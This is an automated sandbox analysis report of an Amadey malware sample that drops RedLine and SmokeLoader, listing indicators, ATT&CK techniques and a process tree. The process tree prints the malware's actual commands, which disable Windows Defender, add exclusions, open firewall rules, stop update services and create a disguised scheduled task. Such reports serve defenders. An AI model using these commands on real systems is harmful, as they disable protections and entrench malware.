amadey | c6d732d8b01afa98d6bf5012c45309107f9866e63aaf7351a35240a945a20925

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	F645.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	F645.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	F645.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	F645.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	F645.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	F645.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 16 IoCs

resource	yara_rule
behavioral1/files/0x0007000000015eb9-55.dat	family_redline
behavioral1/files/0x0007000000015eb9-53.dat	family_redline
behavioral1/memory/1500-110-0x0000000001050000-0x000000000108E000-memory.dmp	family_redline
behavioral1/memory/1588-117-0x0000000001C30000-0x0000000001C8A000-memory.dmp	family_redline
behavioral1/files/0x0006000000016ba1-127.dat	family_redline
behavioral1/files/0x0006000000016ba1-132.dat	family_redline
behavioral1/files/0x0006000000016ba1-131.dat	family_redline
behavioral1/files/0x0006000000016ba1-130.dat	family_redline
behavioral1/memory/1076-136-0x0000000001200000-0x000000000123E000-memory.dmp	family_redline
behavioral1/memory/1588-138-0x0000000000400000-0x000000000047E000-memory.dmp	family_redline
behavioral1/files/0x0007000000016d3f-191.dat	family_redline
behavioral1/memory/1808-198-0x0000000000BA0000-0x0000000000BDE000-memory.dmp	family_redline
behavioral1/files/0x0007000000016d3f-190.dat	family_redline
behavioral1/memory/2448-234-0x0000000000230000-0x000000000028A000-memory.dmp	family_redline
behavioral1/memory/2448-233-0x0000000000400000-0x000000000047E000-memory.dmp	family_redline
behavioral1/memory/2768-366-0x0000000000B30000-0x0000000000B8A000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Downloads MZ/PE file

Modifies Windows Firewall 1 TTPs 1 IoCs

evasion

Windows Service

pid	Process
2372	netsh.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Executes dropped EXE 26 IoCs

pid	Process
2792	F086.exe
2788	F133.exe
2640	PC4iD4Gl.exe
1040	ts8Kh8fY.exe
1500	F3A5.exe
836	F645.exe
2848	Re5bw7GV.exe
2536	ox7Qd9BJ.exe
892	F9FD.exe
2172	1Rl03ea7.exe
1588	14E.exe
1560	explothe.exe
1076	2FK297FE.exe
1268	conhost.exe
1376	301D.exe
2312	3231.exe
3012	toolspub2.exe
2256	3878.exe
1808	3E91.exe
2556	31839b57a4f11171d6abc8bbc4451ee4.exe
2248	kos2.exe
2712	toolspub2.exe
2448	5157.exe
1668	set16.exe
2900	K.exe
1972	is-UUHKR.tmp

Loads dropped DLL 31 IoCs

pid	Process
2792	F086.exe
2792	F086.exe
2640	PC4iD4Gl.exe
2640	PC4iD4Gl.exe
1040	ts8Kh8fY.exe
1040	ts8Kh8fY.exe
2848	Re5bw7GV.exe
2848	Re5bw7GV.exe
2536	ox7Qd9BJ.exe
2536	ox7Qd9BJ.exe
2536	ox7Qd9BJ.exe
2172	1Rl03ea7.exe
892	F9FD.exe
2536	ox7Qd9BJ.exe
1076	2FK297FE.exe
1268	conhost.exe
1268	conhost.exe
1268	conhost.exe
1268	conhost.exe
3012	toolspub2.exe
1268	conhost.exe
2248	kos2.exe
1668	set16.exe
1668	set16.exe
1668	set16.exe
2248	kos2.exe
1668	set16.exe
1972	is-UUHKR.tmp
1972	is-UUHKR.tmp
1972	is-UUHKR.tmp
1972	is-UUHKR.tmp

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features	F645.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	F645.exe

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\""	Re5bw7GV.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\""	ox7Qd9BJ.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3837739534-3148647840-3445085216-1000\Software\Microsoft\Windows\CurrentVersion\Run\socks5 = "powershell.exe -windowstyle hidden -Command \"& 'C:\\Users\\Admin\\AppData\\Local\\Temp\\3231.exe'\""	3231.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	F086.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	PC4iD4Gl.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	ts8Kh8fY.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3040 set thread context of 1232	3040	2722fd6acdbf594cefb5af67ed83828f.exe	28
PID 3012 set thread context of 2712	3012	toolspub2.exe	66

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1980	sc.exe
2952	sc.exe
2296	sc.exe
2196	sc.exe
1928	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
524	schtasks.exe
2112	schtasks.exe
2276	schtasks.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1232	AppLaunch.exe
1232	AppLaunch.exe
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found
1216	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1216	Process not Found

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
1232	AppLaunch.exe
2712	toolspub2.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1216	Process not Found
Token: SeShutdownPrivilege	1216	Process not Found
Token: SeDebugPrivilege	836	F645.exe
Token: SeShutdownPrivilege	1216	Process not Found
Token: SeShutdownPrivilege	1216	Process not Found
Token: SeShutdownPrivilege	1216	Process not Found
Token: SeShutdownPrivilege	1216	Process not Found
Token: SeShutdownPrivilege	1216	Process not Found
Token: SeShutdownPrivilege	1216	Process not Found
Token: SeShutdownPrivilege	1216	Process not Found
Token: SeShutdownPrivilege	1216	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3040 wrote to memory of 1232	3040	2722fd6acdbf594cefb5af67ed83828f.exe	28
PID 3040 wrote to memory of 1232	3040	2722fd6acdbf594cefb5af67ed83828f.exe	28
PID 3040 wrote to memory of 1232	3040	2722fd6acdbf594cefb5af67ed83828f.exe	28
PID 3040 wrote to memory of 1232	3040	2722fd6acdbf594cefb5af67ed83828f.exe	28
PID 3040 wrote to memory of 1232	3040	2722fd6acdbf594cefb5af67ed83828f.exe	28
PID 3040 wrote to memory of 1232	3040	2722fd6acdbf594cefb5af67ed83828f.exe	28
PID 3040 wrote to memory of 1232	3040	2722fd6acdbf594cefb5af67ed83828f.exe	28
PID 3040 wrote to memory of 1232	3040	2722fd6acdbf594cefb5af67ed83828f.exe	28
PID 3040 wrote to memory of 1232	3040	2722fd6acdbf594cefb5af67ed83828f.exe	28
PID 3040 wrote to memory of 1232	3040	2722fd6acdbf594cefb5af67ed83828f.exe	28
PID 1216 wrote to memory of 2792	1216	Process not Found	31
PID 1216 wrote to memory of 2792	1216	Process not Found	31
PID 1216 wrote to memory of 2792	1216	Process not Found	31
PID 1216 wrote to memory of 2792	1216	Process not Found	31
PID 1216 wrote to memory of 2792	1216	Process not Found	31
PID 1216 wrote to memory of 2792	1216	Process not Found	31
PID 1216 wrote to memory of 2792	1216	Process not Found	31
PID 1216 wrote to memory of 2788	1216	Process not Found	32
PID 1216 wrote to memory of 2788	1216	Process not Found	32
PID 1216 wrote to memory of 2788	1216	Process not Found	32
PID 1216 wrote to memory of 2788	1216	Process not Found	32
PID 2792 wrote to memory of 2640	2792	F086.exe	33
PID 2792 wrote to memory of 2640	2792	F086.exe	33
PID 2792 wrote to memory of 2640	2792	F086.exe	33
PID 2792 wrote to memory of 2640	2792	F086.exe	33
PID 2792 wrote to memory of 2640	2792	F086.exe	33
PID 2792 wrote to memory of 2640	2792	F086.exe	33
PID 2792 wrote to memory of 2640	2792	F086.exe	33
PID 1216 wrote to memory of 2868	1216	Process not Found	35
PID 1216 wrote to memory of 2868	1216	Process not Found	35
PID 1216 wrote to memory of 2868	1216	Process not Found	35
PID 1216 wrote to memory of 1500	1216	Process not Found	38
PID 1216 wrote to memory of 1500	1216	Process not Found	38
PID 1216 wrote to memory of 1500	1216	Process not Found	38
PID 1216 wrote to memory of 1500	1216	Process not Found	38
PID 2640 wrote to memory of 1040	2640	PC4iD4Gl.exe	37
PID 2640 wrote to memory of 1040	2640	PC4iD4Gl.exe	37
PID 2640 wrote to memory of 1040	2640	PC4iD4Gl.exe	37
PID 2640 wrote to memory of 1040	2640	PC4iD4Gl.exe	37
PID 2640 wrote to memory of 1040	2640	PC4iD4Gl.exe	37
PID 2640 wrote to memory of 1040	2640	PC4iD4Gl.exe	37
PID 2640 wrote to memory of 1040	2640	PC4iD4Gl.exe	37
PID 1216 wrote to memory of 836	1216	Process not Found	39
PID 1216 wrote to memory of 836	1216	Process not Found	39
PID 1216 wrote to memory of 836	1216	Process not Found	39
PID 1216 wrote to memory of 836	1216	Process not Found	39
PID 1040 wrote to memory of 2848	1040	ts8Kh8fY.exe	40
PID 1040 wrote to memory of 2848	1040	ts8Kh8fY.exe	40
PID 1040 wrote to memory of 2848	1040	ts8Kh8fY.exe	40
PID 1040 wrote to memory of 2848	1040	ts8Kh8fY.exe	40
PID 1040 wrote to memory of 2848	1040	ts8Kh8fY.exe	40
PID 1040 wrote to memory of 2848	1040	ts8Kh8fY.exe	40
PID 1040 wrote to memory of 2848	1040	ts8Kh8fY.exe	40
PID 2848 wrote to memory of 2536	2848	Re5bw7GV.exe	41
PID 2848 wrote to memory of 2536	2848	Re5bw7GV.exe	41
PID 2848 wrote to memory of 2536	2848	Re5bw7GV.exe	41
PID 2848 wrote to memory of 2536	2848	Re5bw7GV.exe	41
PID 2848 wrote to memory of 2536	2848	Re5bw7GV.exe	41
PID 2848 wrote to memory of 2536	2848	Re5bw7GV.exe	41
PID 2848 wrote to memory of 2536	2848	Re5bw7GV.exe	41
PID 1216 wrote to memory of 892	1216	Process not Found	42
PID 1216 wrote to memory of 892	1216	Process not Found	42
PID 1216 wrote to memory of 892	1216	Process not Found	42
PID 1216 wrote to memory of 892	1216	Process not Found	42

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2722fd6acdbf594cefb5af67ed83828f.exe
"C:\Users\Admin\AppData\Local\Temp\2722fd6acdbf594cefb5af67ed83828f.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3040
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:1232

C:\Users\Admin\AppData\Local\Temp\F086.exe
C:\Users\Admin\AppData\Local\Temp\F086.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2792
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\PC4iD4Gl.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\PC4iD4Gl.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:2640
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\ts8Kh8fY.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\ts8Kh8fY.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:1040
  - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Re5bw7GV.exe
      C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Re5bw7GV.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Adds Run key to start application
      Suspicious use of WriteProcessMemory
      PID:2848
    - - C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\ox7Qd9BJ.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\ox7Qd9BJ.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Adds Run key to start application
        
        PID:2536
      - C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1Rl03ea7.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1Rl03ea7.exe
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2172
      - C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\2FK297FE.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\2FK297FE.exe
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1076

C:\Users\Admin\AppData\Local\Temp\F133.exe
C:\Users\Admin\AppData\Local\Temp\F133.exe
1⤵
- Executes dropped EXE
PID:2788

C:\Windows\system32\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\F2D9.bat" "
1⤵
PID:2868

C:\Users\Admin\AppData\Local\Temp\F3A5.exe
C:\Users\Admin\AppData\Local\Temp\F3A5.exe
1⤵
- Executes dropped EXE
PID:1500

C:\Users\Admin\AppData\Local\Temp\F645.exe
C:\Users\Admin\AppData\Local\Temp\F645.exe
1⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Windows security modification
- Suspicious use of AdjustPrivilegeToken
PID:836

C:\Users\Admin\AppData\Local\Temp\F9FD.exe
C:\Users\Admin\AppData\Local\Temp\F9FD.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:892
- C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
  "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe"
  2⤵
  - Executes dropped EXE
  PID:1560
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "explothe.exe" /P "Admin:N"&&CACLS "explothe.exe" /P "Admin:R" /E&&echo Y|CACLS "..\fefffe8cea" /P "Admin:N"&&CACLS "..\fefffe8cea" /P "Admin:R" /E&&Exit
    3⤵
    PID:2288
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "explothe.exe" /P "Admin:N"
      4⤵
      PID:2324
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
      4⤵
      PID:2336
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "explothe.exe" /P "Admin:R" /E
      4⤵
      PID:268
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
      4⤵
      PID:472
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "..\fefffe8cea" /P "Admin:N"
      4⤵
      PID:1168
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "..\fefffe8cea" /P "Admin:R" /E
      4⤵
      PID:2016
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN explothe.exe /TR "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:524
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
    3⤵
    PID:1604

C:\Users\Admin\AppData\Local\Temp\14E.exe
C:\Users\Admin\AppData\Local\Temp\14E.exe
1⤵
- Executes dropped EXE
PID:1588

C:\Users\Admin\AppData\Local\Temp\2ED5.exe
C:\Users\Admin\AppData\Local\Temp\2ED5.exe
1⤵
PID:1268
- C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
  "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  PID:3012
- - C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
    "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
    3⤵
    - Executes dropped EXE
    - Checks SCSI registry key(s)
    - Suspicious behavior: MapViewOfSection
    PID:2712
- C:\Users\Admin\AppData\Local\Temp\kos2.exe
  "C:\Users\Admin\AppData\Local\Temp\kos2.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2248
- - C:\Users\Admin\AppData\Local\Temp\set16.exe
    "C:\Users\Admin\AppData\Local\Temp\set16.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1668
  - - C:\Users\Admin\AppData\Local\Temp\is-M0G67.tmp\is-UUHKR.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-M0G67.tmp\is-UUHKR.tmp" /SL4 $201E6 "C:\Users\Admin\AppData\Local\Temp\set16.exe" 1281875 52224
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1972
    - - C:\Program Files (x86)\MyBurn\MyBurn.exe
        
        "C:\Program Files (x86)\MyBurn\MyBurn.exe" -i
        5⤵
        
        PID:2688
    - - C:\Windows\SysWOW64\net.exe
        
        "C:\Windows\system32\net.exe" helpmsg 20
        5⤵
        
        PID:584
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 helpmsg 20
        6⤵
        
        PID:2288
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /Query
        5⤵
        
        PID:2208
    - - C:\Program Files (x86)\MyBurn\MyBurn.exe
        
        "C:\Program Files (x86)\MyBurn\MyBurn.exe" -s
        5⤵
        
        PID:2800
- - C:\Users\Admin\AppData\Local\Temp\K.exe
    "C:\Users\Admin\AppData\Local\Temp\K.exe"
    3⤵
    - Executes dropped EXE
    PID:2900
- C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
  "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
  2⤵
  - Executes dropped EXE
  PID:2556
- - C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
    "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
    3⤵
    PID:2000
  - - C:\Windows\system32\cmd.exe
      C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
      4⤵
      PID:2172
    - - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        5⤵
        Modifies Windows Firewall
        
        PID:2372
  - - C:\Windows\rss\csrss.exe
      C:\Windows\rss\csrss.exe
      4⤵
      PID:2384
- C:\Users\Admin\AppData\Local\Temp\latestX.exe
  "C:\Users\Admin\AppData\Local\Temp\latestX.exe"
  2⤵
  PID:2400

C:\Users\Admin\AppData\Local\Temp\301D.exe
C:\Users\Admin\AppData\Local\Temp\301D.exe
1⤵
- Executes dropped EXE
PID:1376
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=301D.exe&platform=0009&osver=5&isServer=0&shimver=4.0.30319.0
  2⤵
  PID:1572
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1572 CREDAT:275457 /prefetch:2
    3⤵
    PID:1596
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1572 CREDAT:275461 /prefetch:2
    3⤵
    PID:2644

C:\Users\Admin\AppData\Local\Temp\3231.exe
C:\Users\Admin\AppData\Local\Temp\3231.exe
1⤵
- Executes dropped EXE
- Adds Run key to start application
PID:2312

C:\Users\Admin\AppData\Local\Temp\3878.exe
C:\Users\Admin\AppData\Local\Temp\3878.exe
1⤵
- Executes dropped EXE
PID:2256

C:\Users\Admin\AppData\Local\Temp\3E91.exe
C:\Users\Admin\AppData\Local\Temp\3E91.exe
1⤵
- Executes dropped EXE
PID:1808

C:\Users\Admin\AppData\Local\Temp\5157.exe
C:\Users\Admin\AppData\Local\Temp\5157.exe
1⤵
- Executes dropped EXE
PID:2448

C:\Windows\system32\taskeng.exe
taskeng.exe {849F09F9-8195-41D5-A189-72EC87F06592} S-1-5-21-3837739534-3148647840-3445085216-1000:RBHOAWCN\Admin:Interactive:[1]
1⤵
PID:2496
- C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
  C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
  2⤵
  PID:2216

C:\Users\Admin\AppData\Local\Temp\8207.exe
C:\Users\Admin\AppData\Local\Temp\8207.exe
1⤵
PID:1700
- C:\Windows\system32\rundll32.exe
  C:\Windows\system32\rundll32.exe cbbbffbfdd.sys,#1
  2⤵
  PID:1144
- - C:\Windows\SysWOW64\rundll32.exe
    C:\Windows\system32\rundll32.exe cbbbffbfdd.sys,#1
    3⤵
    PID:1436

C:\Users\Admin\AppData\Local\Temp\89A6.exe
C:\Users\Admin\AppData\Local\Temp\89A6.exe
1⤵
PID:2768

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:2404

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1792957072-1508376176-1713007042-145609470986058393017489632581436156383-764091711"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1268

C:\Users\Admin\AppData\Local\Temp\FE59.exe
C:\Users\Admin\AppData\Local\Temp\FE59.exe
1⤵
PID:1168

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
1⤵
PID:472
- C:\Windows\System32\sc.exe
  sc stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:1980
- C:\Windows\System32\sc.exe
  sc stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2952
- C:\Windows\System32\sc.exe
  sc stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2296
- C:\Windows\System32\sc.exe
  sc stop bits
  2⤵
  - Launches sc.exe
  PID:2196
- C:\Windows\System32\sc.exe
  sc stop dosvc
  2⤵
  - Launches sc.exe
  PID:1928

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
1⤵
PID:1600
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
  2⤵
  - Creates scheduled task(s)
  PID:2112

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
1⤵
PID:2588
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-ac 0
  2⤵
  PID:564
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-dc 0
  2⤵
  PID:3032
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-ac 0
  2⤵
  PID:2760
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-dc 0
  2⤵
  PID:1056

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
1⤵
PID:852

C:\Windows\system32\taskeng.exe
taskeng.exe {21C064FB-D99B-4D63-A457-409F6BB7A35C} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1480

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /delete /f /tn "GoogleUpdateTaskMachineQC"
1⤵
PID:2512

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /create /f /tn "GoogleUpdateTaskMachineQC" /xml "C:\Users\Admin\AppData\Local\Temp\xhoymdsniflw.xml"
1⤵
- Creates scheduled task(s)
PID:2276

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
1⤵
PID:320

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20231023121410.log C:\Windows\Logs\CBS\CbsPersist_20231023121410.cab
1⤵
PID:2440

Network

